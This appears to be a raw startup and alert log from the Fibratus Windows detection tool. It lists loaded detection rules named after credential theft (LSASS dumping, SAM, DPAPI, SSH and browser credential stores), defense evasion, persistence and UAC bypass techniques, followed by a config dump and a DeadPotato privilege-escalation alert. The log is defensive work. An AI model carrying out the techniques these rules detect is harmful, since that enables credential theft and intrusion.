+time=2025-11-25T11:29:13+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_cdssync_scheduled_task_hijack.yml source=config/filters.go:355 +time=2025-11-25T11:29:13+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_control_panel_applet_execution_hijack.yml source=config/filters.go:355 +time=2025-11-25T11:29:13+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_dll_hijack_from_windows_media_player_directory.yml source=config/filters.go:355 +time=2025-11-25T11:29:13+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_dotnet_code_profiler_mmc_dll_hijack.yml source=config/filters.go:355 +time=2025-11-25T11:29:13+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_icmluautil_com_interface.yml source=config/filters.go:355 +time=2025-11-25T11:29:13+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_ntfs_junction_dll_hijacking.yml source=config/filters.go:355 +time=2025-11-25T11:29:13+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_program_compatibility_assistant_scheduled_task_hijack.yml source=config/filters.go:355 +time=2025-11-25T11:29:13+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_requesttrace_scheduled_task_hijack.yml source=config/filters.go:355 +time=2025-11-25T11:29:13+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_rouge_mmc_snap-in.yml source=config/filters.go:355 +time=2025-11-25T11:29:13+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_trusted_windows_directory_masquerading.yml source=config/filters.go:355 +time=2025-11-25T11:29:13+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_vulnerable_or_malicious_driver_dropped.yml source=config/filters.go:355 +time=2025-11-25T11:29:13+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_vulnerable_or_malicious_driver_loaded.yml source=config/filters.go:355 +time=2025-11-25T11:29:13+01:00 level=info msg=rules compile summary: + HasProcEvents: true + HasThreadEvents: true + HasImageEvents: true + HasFileEvents: true + HasRegistryEvents: true + HasNetworkEvents: true + HasHandleEvents: true + HasMemEvents: false + HasVAMapEvents: true + HasAuditAPIEvents: true + HasDNSEvents: false + HasThreadpoolEvents: false + Events: Accept, Connect, CreateFile, CreateHandle, CreateProcess, CreateSymbolicLinkObject, CreateThread, DeleteFile, LoadImage, MapViewFile, OpenProcess, OpenThread, Recv, RegCreateKey, RegOpenKey, RegSetValue, Send, SetFileInformation, SetThreadContext, UnloadImage, UnmapViewFile source=bootstrap/bootstrap.go:150 +time=2025-11-25T11:29:13+01:00 level=info msg=bootstrapping with pid 2948. Version: dev source=bootstrap/bootstrap.go:184 +time=2025-11-25T11:29:13+01:00 level=info msg=configuration options: + aggregator ..................... [ flush-period=>500ms flush-timeout=>4s] + alertsenders ................... [ slack=>[ enabled=>false] eventlog=>[ verbose=>true enabled=>true] systray=>[ quiet-mode=>false enabled=>false sound=>true] mail=>[ port=>25 content-type=>text/html to=>[] use-template=>true enabled=>false]] + api ............................ [ transport=>localhost:8482 timeout=>5s] + cap ............................ [] + config-file .................... ..\fibratus.yml + debug-privilege ................ true + evasion ........................ [ enabled=>true enable-direct-syscall=>true] + event .......................... [ serialize-handles=>false serialize-images=>false serialize-pe=>false serialize-envs=>true serialize-threads=>false] + eventsource .................... [ enable-registry=>true stack-enrichment=>true max-buffers=>36 blacklist=>[ events=>[CloseFile RegCloseKey] images=>[]] enable-handle=>false buffer-size=>512 enable-mem=>false enable-net=>true enable-thread=>true enable-fileio=>true enable-image=>true min-buffers=>16 enable-vamap=>true enable-audit-api=>true enable-threadpool=>false flush-interval=>1s enable-dns=>false] + filament ....................... [ path=>C:\Program Files\fibratus\filaments] + filters ........................ [ match-all=>true rules=>[ enabled=>true from-urls=>[] from-paths=>[C:\Fibratus\fibratus\rules\*.yml]] macros=>[ from-paths=>[C:\Fibratus\fibratus\rules\macros\*.yml]]] + forward ........................ false + handle ......................... [ init-snapshot=>false enumerate-handles=>false] + logging ........................ [ max-backups=>15 log-stdout=>true formatter=>text max-size=>100 max-age=>0 level=>info] + output ......................... [ elasticsearch=>[ trace-log=>false gzip-compression=>false sniff=>false enabled=>false template-name=>fibratus flush-period=>1s healthcheck=>true index-name=>fibratus healthcheck-timeout=>5s servers=>[http://127.0.0.1:9200] timeout=>5s bulk-workers=>1 healthcheck-interval=>10s] http=>[ enable-gzip=>false enabled=>false tls-insecure-skip-verify=>false endpoints=>[] timeout=>5s serializer=>json method=>POST] amqp=>[ tls-insecure-skip-verify=>false exchange-type=>topic enabled=>false delivery-mode=>transient timeout=>5s exchange=>fibratus passive=>false vhost=>/ durable=>false url=>amqp://localhost:5672 routing-key=>fibratus] eventlog=>[ enabled=>false level=>info] console=>[ template=>{{ .Seq }} {{ .Timestamp }} - {{ .CPU }} {{ .Process }} ({{ .Pid }}) - {{ .Type }} ({{ .Params }}) {{ .Callstack }} - {{ .Cmd }} + enabled=>true format=>pretty]] + pe ............................. [ enabled=>false read-sections=>false excluded-images=>[svchost.exe] read-resources=>false read-symbols=>false] + symbol-paths ................... srv*c:\\SymCache*https://msdl.microsoft.com/download/symbols + symbolize-kernel-addresses ..... true + transformers ................... [ remove=>[ params=>[] enabled=>false] tags=>[ enabled=>false] rename=>[ enabled=>false] trim=>[ enabled=>false] replace=>[ enabled=>false]] + yara ........................... [ excluded-files=>[] rule=>[ strings=>[map[namespace: string:]] paths=>[map[namespace: path:]]] fastscan=>true skip-files=>false skip-mmaps=>false excluded-procs=>[] skip-allocs=>false scan-timeout=>10s enabled=>false skip-registry=>false] source=bootstrap/bootstrap.go:185 +time=2025-11-25T11:29:13+01:00 level=info msg=starting [Security Telemetry Logger] trace processing source=etw/source.go:269 +time=2025-11-25T11:29:16+01:00 level=info msg=starting [NT Kernel Logger] trace processing source=etw/source.go:269 +time=2025-11-25T11:29:44+01:00 level=info msg=got signal "interrupt", shutting down... source=signals/signals.go:39 +time=2025-11-25T11:29:44+01:00 level=info msg=stopping [Security Telemetry Logger] trace processing source=etw/source.go:285 +time=2025-11-25T11:29:44+01:00 level=info msg=stopping [NT Kernel Logger] trace processing source=etw/source.go:285 +time=2025-11-25T11:29:47+01:00 level=info msg=loading macros from file C:\Fibratus\fibratus\rules\macros\macros.yml source=config/filters.go:295 +time=2025-11-25T11:29:47+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credentail_access_file_access_to_sam_database.yml source=config/filters.go:355 +time=2025-11-25T11:29:47+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_credential_access_from_backups_via_rundll32.yml source=config/filters.go:355 +time=2025-11-25T11:29:47+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_credential_discovery_via_vaultcmd.yml source=config/filters.go:355 +time=2025-11-25T11:29:47+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_access_from_unsigned_executable.yml source=config/filters.go:355 +time=2025-11-25T11:29:47+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_handle_leak_via_seclogon.yml source=config/filters.go:355 +time=2025-11-25T11:29:47+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_memory_dump_preparation_via_silent_process_exit.yml source=config/filters.go:355 +time=2025-11-25T11:29:47+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_memory_dump_via_minidumpwritedump.yml source=config/filters.go:355 +time=2025-11-25T11:29:47+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_memory_dump_via_wer.yml source=config/filters.go:355 +time=2025-11-25T11:29:47+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_memory_dumping.yml source=config/filters.go:355 +time=2025-11-25T11:29:47+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_process_clone_creation_via_reflection.yml source=config/filters.go:355 +time=2025-11-25T11:29:47+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_potential_sam_hive_dumping.yml source=config/filters.go:355 +time=2025-11-25T11:29:47+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_remote_thread_creation_into_lsass.yml source=config/filters.go:355 +time=2025-11-25T11:29:47+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_access_to_active_directory_domain_database.yml source=config/filters.go:355 +time=2025-11-25T11:29:47+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_access_to_unattended_panther_files.yml source=config/filters.go:355 +time=2025-11-25T11:29:47+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_access_to_windows_dpapi_master_keys.yml source=config/filters.go:355 +time=2025-11-25T11:29:47+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_access_to_windows_manager_files.yml source=config/filters.go:355 +time=2025-11-25T11:29:47+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_access_to_windows_vault_files.yml source=config/filters.go:355 +time=2025-11-25T11:29:47+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_security_package_loaded_by_lsass.yml source=config/filters.go:355 +time=2025-11-25T11:29:47+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_vault_client_dll_load.yml source=config/filters.go:355 +time=2025-11-25T11:29:47+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_unusual_access_to_ssh_keys.yml source=config/filters.go:355 +time=2025-11-25T11:29:47+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_unusual_access_to_web_browser_credential_stores.yml source=config/filters.go:355 +time=2025-11-25T11:29:47+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_unusual_access_to_windows_credential_history.yml source=config/filters.go:355 +time=2025-11-25T11:29:47+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_appdomain_manager_injection_via_clr_search_order_hijacking.yml source=config/filters.go:355 +time=2025-11-25T11:29:47+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_clear_eventlog.yml source=config/filters.go:355 +time=2025-11-25T11:29:47+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_dll_loaded_via_apc_queue.yml source=config/filters.go:355 +time=2025-11-25T11:29:47+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_dll_loaded_via_callback_function.yml source=config/filters.go:355 +time=2025-11-25T11:29:47+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_dll_loaded_via_ldrpkernel32_overwrite.yml source=config/filters.go:355 +time=2025-11-25T11:29:47+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_dll_sideloading_via_copied_binary.yml source=config/filters.go:355 +time=2025-11-25T11:29:47+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_dll_sideloading_via_microsoft_office_dropped_file.yml source=config/filters.go:355 +time=2025-11-25T11:29:47+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_dotnet_assembly_loaded_by_unmanaged_process.yml source=config/filters.go:355 +time=2025-11-25T11:29:47+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_hidden_registry_key_creation.yml source=config/filters.go:355 +time=2025-11-25T11:29:47+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_image_load_via_ntfs_transaction.yml source=config/filters.go:355 +time=2025-11-25T11:29:47+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_injection_via_dotnet_debugging.yml source=config/filters.go:355 +time=2025-11-25T11:29:47+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_process_creation_via_shellcode.yml source=config/filters.go:355 +time=2025-11-25T11:29:47+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_process_doppelganging_injection.yml source=config/filters.go:355 +time=2025-11-25T11:29:47+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_process_hollowing_injection.yml source=config/filters.go:355 +time=2025-11-25T11:29:47+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_process_injection_via_tainted_memory_section.yml source=config/filters.go:355 +time=2025-11-25T11:29:47+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_shellcode_execution_via_etw_logger_thread.yml source=config/filters.go:355 +time=2025-11-25T11:29:47+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_thread_execution_hijacking.yml source=config/filters.go:355 +time=2025-11-25T11:29:47+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_process_execution_from_self_deleting_binary.yml source=config/filters.go:355 +time=2025-11-25T11:29:47+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_process_spawned_via_remote_thread.yml source=config/filters.go:355 +time=2025-11-25T11:29:47+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_regsvr32_scriptlet_execution.yml source=config/filters.go:355 +time=2025-11-25T11:29:47+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_suspicious_access_to_the_hosts_file.yml source=config/filters.go:355 +time=2025-11-25T11:29:47+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_suspicious_dll_loaded_via_memory_section_mapping.yml source=config/filters.go:355 +time=2025-11-25T11:29:47+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_suspicious_html_application_script_execution.yml source=config/filters.go:355 +time=2025-11-25T11:29:47+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_suspicious_object_symbolic_link_creation.yml source=config/filters.go:355 +time=2025-11-25T11:29:47+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_suspicious_windows_defender_exclusions_registry_modification.yml source=config/filters.go:355 +time=2025-11-25T11:29:47+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_suspicious_xsl_script_execution.yml source=config/filters.go:355 +time=2025-11-25T11:29:47+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_system_binary_proxy_execution_via_rundll32.yml source=config/filters.go:355 +time=2025-11-25T11:29:47+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_thread_context_set_from_unbacked_memory.yml source=config/filters.go:355 +time=2025-11-25T11:29:47+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_unsigned_dll_injection_via_remote_thread.yml source=config/filters.go:355 +time=2025-11-25T11:29:47+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_windows_defender_driver_unloading.yml source=config/filters.go:355 +time=2025-11-25T11:29:47+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_windows_defender_protection_tampering_via_registry.yml source=config/filters.go:355 +time=2025-11-25T11:29:47+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_executable_file_creation_from_macro_enabled_microsoft_office_document.yml source=config/filters.go:355 +time=2025-11-25T11:29:47+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_execution_via_microsoft_office_process.yml source=config/filters.go:355 +time=2025-11-25T11:29:47+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_macro_execution_via_script_interpreter.yml source=config/filters.go:355 +time=2025-11-25T11:29:47+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_microsoft_office_file_execution_via_script_interpreter.yml source=config/filters.go:355 +time=2025-11-25T11:29:47+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_microsoft_office_file_execution_via_wmi.yml source=config/filters.go:355 +time=2025-11-25T11:29:47+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_potential_clickfix_infection_chain_via_run_window.yml source=config/filters.go:355 +time=2025-11-25T11:29:47+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_process_spawned_from_macro_enabled_microsoft_office_document.yml source=config/filters.go:355 +time=2025-11-25T11:29:47+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_suspicious_dll_loaded_by_microsoft_office_process.yml source=config/filters.go:355 +time=2025-11-25T11:29:47+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_suspicious_execution_via_wmi_from_microsoft_office_process.yml source=config/filters.go:355 +time=2025-11-25T11:29:47+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_suspicious_microsoft_office_embedded_object.yml source=config/filters.go:355 +time=2025-11-25T11:29:47+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_executable_file_dropped_by_unsigned_service_dll.yml source=config/filters.go:355 +time=2025-11-25T11:29:47+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_hidden_local_account_creation.yml source=config/filters.go:355 +time=2025-11-25T11:29:47+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_network_connection_via_startup_folder_executable_or_script.yml source=config/filters.go:355 +time=2025-11-25T11:29:47+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_potential_port_monitor_or_print_processor_persistence_via_registry_modification.yml source=config/filters.go:355 +time=2025-11-25T11:29:47+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_rid_hijacking.yml source=config/filters.go:355 +time=2025-11-25T11:29:47+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_script_interpreter_or_untrusted_process_persistence.yml source=config/filters.go:355 +time=2025-11-25T11:29:47+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_microsoft_office_addin_loaded.yml source=config/filters.go:355 +time=2025-11-25T11:29:47+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_microsoft_office_template.yml source=config/filters.go:355 +time=2025-11-25T11:29:47+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_netsh_helper_dll_execution.yml source=config/filters.go:355 +time=2025-11-25T11:29:47+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_persistence_via_registry_modification.yml source=config/filters.go:355 +time=2025-11-25T11:29:47+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_port_monitor_loaded.yml source=config/filters.go:355 +time=2025-11-25T11:29:47+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_print_processor_loaded.yml source=config/filters.go:355 +time=2025-11-25T11:29:47+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_startup_shell_folder_modification.yml source=config/filters.go:355 +time=2025-11-25T11:29:47+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_unusual_file_written_in_startup_folder.yml source=config/filters.go:355 +time=2025-11-25T11:29:47+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_unusual_process_modified_registry_run_key.yml source=config/filters.go:355 +time=2025-11-25T11:29:47+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_potential_privilege_escalation_via_deadpotato_exploit.yml source=config/filters.go:355 +time=2025-11-25T11:29:47+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_potential_privilege_escalation_via_ifileoperation_abuse.yml source=config/filters.go:355 +time=2025-11-25T11:29:47+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_potential_privilege_escalation_via_phantom_dll_hijacking.yml source=config/filters.go:355 +time=2025-11-25T11:29:47+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_cdssync_scheduled_task_hijack.yml source=config/filters.go:355 +time=2025-11-25T11:29:47+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_control_panel_applet_execution_hijack.yml source=config/filters.go:355 +time=2025-11-25T11:29:47+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_dll_hijack_from_windows_media_player_directory.yml source=config/filters.go:355 +time=2025-11-25T11:29:47+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_dotnet_code_profiler_mmc_dll_hijack.yml source=config/filters.go:355 +time=2025-11-25T11:29:47+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_icmluautil_com_interface.yml source=config/filters.go:355 +time=2025-11-25T11:29:47+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_ntfs_junction_dll_hijacking.yml source=config/filters.go:355 +time=2025-11-25T11:29:47+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_program_compatibility_assistant_scheduled_task_hijack.yml source=config/filters.go:355 +time=2025-11-25T11:29:47+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_requesttrace_scheduled_task_hijack.yml source=config/filters.go:355 +time=2025-11-25T11:29:47+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_rouge_mmc_snap-in.yml source=config/filters.go:355 +time=2025-11-25T11:29:47+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_trusted_windows_directory_masquerading.yml source=config/filters.go:355 +time=2025-11-25T11:29:47+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_vulnerable_or_malicious_driver_dropped.yml source=config/filters.go:355 +time=2025-11-25T11:29:47+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_vulnerable_or_malicious_driver_loaded.yml source=config/filters.go:355 +time=2025-11-25T11:29:47+01:00 level=info msg=rules compile summary: + HasProcEvents: true + HasThreadEvents: true + HasImageEvents: true + HasFileEvents: true + HasRegistryEvents: true + HasNetworkEvents: true + HasHandleEvents: true + HasMemEvents: false + HasVAMapEvents: true + HasAuditAPIEvents: true + HasDNSEvents: false + HasThreadpoolEvents: false + Events: Accept, Connect, CreateFile, CreateHandle, CreateProcess, CreateSymbolicLinkObject, CreateThread, DeleteFile, LoadImage, MapViewFile, OpenProcess, OpenThread, Recv, RegCreateKey, RegOpenKey, RegSetValue, Send, SetFileInformation, SetThreadContext, UnloadImage, UnmapViewFile source=bootstrap/bootstrap.go:150 +time=2025-11-25T11:29:47+01:00 level=info msg=bootstrapping with pid 18928. Version: dev source=bootstrap/bootstrap.go:184 +time=2025-11-25T11:29:47+01:00 level=info msg=configuration options: + aggregator ..................... [ flush-period=>500ms flush-timeout=>4s] + alertsenders ................... [ eventlog=>[ verbose=>true enabled=>true] slack=>[ enabled=>false] mail=>[ enabled=>false port=>25 use-template=>true to=>[] content-type=>text/html] systray=>[ quiet-mode=>false enabled=>false sound=>true]] + api ............................ [ timeout=>5s transport=>localhost:8482] + cap ............................ [] + config-file .................... ..\fibratus.yml + debug-privilege ................ true + evasion ........................ [ enable-direct-syscall=>true enabled=>true] + event .......................... [ serialize-pe=>false serialize-images=>false serialize-handles=>false serialize-envs=>true serialize-threads=>false] + eventsource .................... [ stack-enrichment=>true blacklist=>[ images=>[] events=>[CloseFile RegCloseKey]] enable-vamap=>true enable-fileio=>true enable-thread=>true max-buffers=>36 enable-registry=>true enable-audit-api=>true buffer-size=>512 flush-interval=>1s enable-mem=>false min-buffers=>16 enable-threadpool=>false enable-image=>true enable-handle=>false enable-net=>true enable-dns=>false] + filament ....................... [ path=>C:\Program Files\fibratus\filaments] + filters ........................ [ macros=>[ from-paths=>[C:\Fibratus\fibratus\rules\macros\*.yml]] rules=>[ from-paths=>[C:\Fibratus\fibratus\rules\*.yml] from-urls=>[] enabled=>true] match-all=>true] + forward ........................ false + handle ......................... [ enumerate-handles=>false init-snapshot=>false] + logging ........................ [ formatter=>text log-stdout=>true level=>info max-backups=>15 max-age=>0 max-size=>100] + output ......................... [ console=>[ template=>{{ .Seq }} {{ .Timestamp }} - {{ .CPU }} {{ .Process }} ({{ .Pid }}) - {{ .Type }} ({{ .Params }}) {{ .Callstack }} - {{ .Cmd }} + format=>pretty enabled=>true] amqp=>[ enabled=>false durable=>false delivery-mode=>transient routing-key=>fibratus exchange=>fibratus tls-insecure-skip-verify=>false exchange-type=>topic vhost=>/ passive=>false timeout=>5s url=>amqp://localhost:5672] elasticsearch=>[ servers=>[http://127.0.0.1:9200] trace-log=>false gzip-compression=>false index-name=>fibratus healthcheck-timeout=>5s template-name=>fibratus healthcheck-interval=>10s bulk-workers=>1 sniff=>false healthcheck=>true timeout=>5s flush-period=>1s enabled=>false] eventlog=>[ level=>info enabled=>false] http=>[ timeout=>5s tls-insecure-skip-verify=>false method=>POST serializer=>json enable-gzip=>false endpoints=>[] enabled=>false]] + pe ............................. [ excluded-images=>[svchost.exe] enabled=>false read-symbols=>false read-sections=>false read-resources=>false] + symbol-paths ................... srv*c:\\SymCache*https://msdl.microsoft.com/download/symbols + symbolize-kernel-addresses ..... true + transformers ................... [ trim=>[ enabled=>false] tags=>[ enabled=>false] remove=>[ params=>[] enabled=>false] replace=>[ enabled=>false] rename=>[ enabled=>false]] + yara ........................... [ skip-allocs=>false excluded-files=>[] skip-mmaps=>false rule=>[ paths=>[map[namespace: path:]] strings=>[map[namespace: string:]]] fastscan=>true excluded-procs=>[] skip-files=>false scan-timeout=>10s enabled=>false skip-registry=>false] source=bootstrap/bootstrap.go:185 +time=2025-11-25T11:29:47+01:00 level=info msg=starting [Security Telemetry Logger] trace processing source=etw/source.go:269 +time=2025-11-25T11:29:50+01:00 level=info msg=starting [NT Kernel Logger] trace processing source=etw/source.go:269 +time=2025-11-25T11:29:58+01:00 level=info msg=sending alert: [Potential privilege escalation via DeadPotato exploit]. Text: Event(s): + Seq: 1252085 + Pid: 1428 + Tid: 4294967295 + Type: Connect + CPU: 2 + Name: Connect + Category: net + Description: Connects establishes a connection to the socket + Host: archrabbit + Timestamp: 2025-11-25 11:29:52.056725 +0100 CET + Params: dip➜ 127.0.0.1, dport➜ 135, dport_name➜ epmap, l4_proto➜ TCP, pid➜ 1428, sip➜ 127.0.0.1, size➜ 0, sport➜ 59530 + Metadata: tactic.ref: https://attack.mitre.org/tactics/TA0004/, rule.name: Potential privilege escalation via DeadPotato exploit, tactic.id: TA0004, tactic.name: Privilege Escalation + + Pid: 1428 + Ppid: 1004 + Name: svchost.exe + Parent name: services.exe + Cmdline: C:\WINDOWS\system32\svchost.exe -k RPCSS -p + Parent cmdline: C:\WINDOWS\system32\services.exe + Exe: C:\WINDOWS\system32\svchost.exe + Cwd: C:\WINDOWS\system32\ + SID: S-1-5-20 + Integrity level: SYSTEM + Username: NETWORK SERVICE + Domain: NT AUTHORITY + Args: [C:\WINDOWS\system32\svchost.exe -k RPCSS -p] + Session ID: 0 + Envs: map[ALLUSERSPROFILE:C:\ProgramData APPDATA:C:\WINDOWS\ServiceProfiles\NetworkService\AppData\Roaming COMPUTERNAME:ARCHRABBIT ChocolateyInstall:C:\ProgramData\chocolatey ComSpec:C:\WINDOWS\system32\cmd.exe CommonProgramFiles:C:\Program Files\Common Files CommonProgramFiles(x86):C:\Program Files (x86)\Common Files CommonProgramW6432:C:\Program Files\Common Files DriverData:C:\Windows\System32\Drivers\DriverData JAVA_HOME:C:\Program Files\Jdk11 LOCALAPPDATA:C:\WINDOWS\ServiceProfiles\NetworkService\AppData\Local NUMBER_OF_PROCESSORS:8 OS:Windows_NT PATHEXT:.COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC;.PY PROCESSOR_ARCHITECTURE:AMD64 PROCESSOR_IDENTIFIER:Intel64 Family 6 Model 142 Stepping 10, GenuineIntel PROCESSOR_LEVEL:6 PROCESSOR_REVISION:8e0a PSModulePath:%ProgramFiles%\WindowsPowerShell\Modules;C:\WINDOWS\system32\WindowsPowerShell\v1.0\Modules PUBLIC:C:\Users\Public Path:C:\Program Files\ImageMagick-7.1.1-Q16-HDRI;C:\WINDOWS\system32;C:\WINDOWS;C:\WINDOWS\System32\Wbem;C:\tools\msys64\mingw64\bin;C:\WINDOWS\System32\WindowsPowerShell\v1.0\;C:\Program Files\Git\cmd;C:\WINDOWS\System32\OpenSSH\;C:\Program Files (x86)\Windows Kits\10\Windows Performance Toolkit\;C:\rubyinstaller-2.5.7-1-x64\bin;C:\Program Files (x86)\WiX Toolset v3.11\bin;C:\Program Files (x86)\Windows Kits\10\App Certification Kit;C:\Program Files (x86)\Graphviz2.38\bin;C:\Program Files (x86)\NSIS\Bin;C:\Program Files\Jdk11\bin;C:\Python310;C:\Program Files\dotnet\;C:\ProgramData\chocolatey\bin;C:\Program Files\Microsoft Visual Studio\2022\Community\Msbuild\Current\Bin;C:\Program Files\ffmpeg\bin;C:\Program Files\CMake\bin;C:\Program Files\nodejs\;C:\Program Files\Go\bin;C:\Program Files\Neovim\bin;C:\WINDOWS\ServiceProfiles\NetworkService\AppData\Local\Microsoft\WindowsApps ProgramData:C:\ProgramData 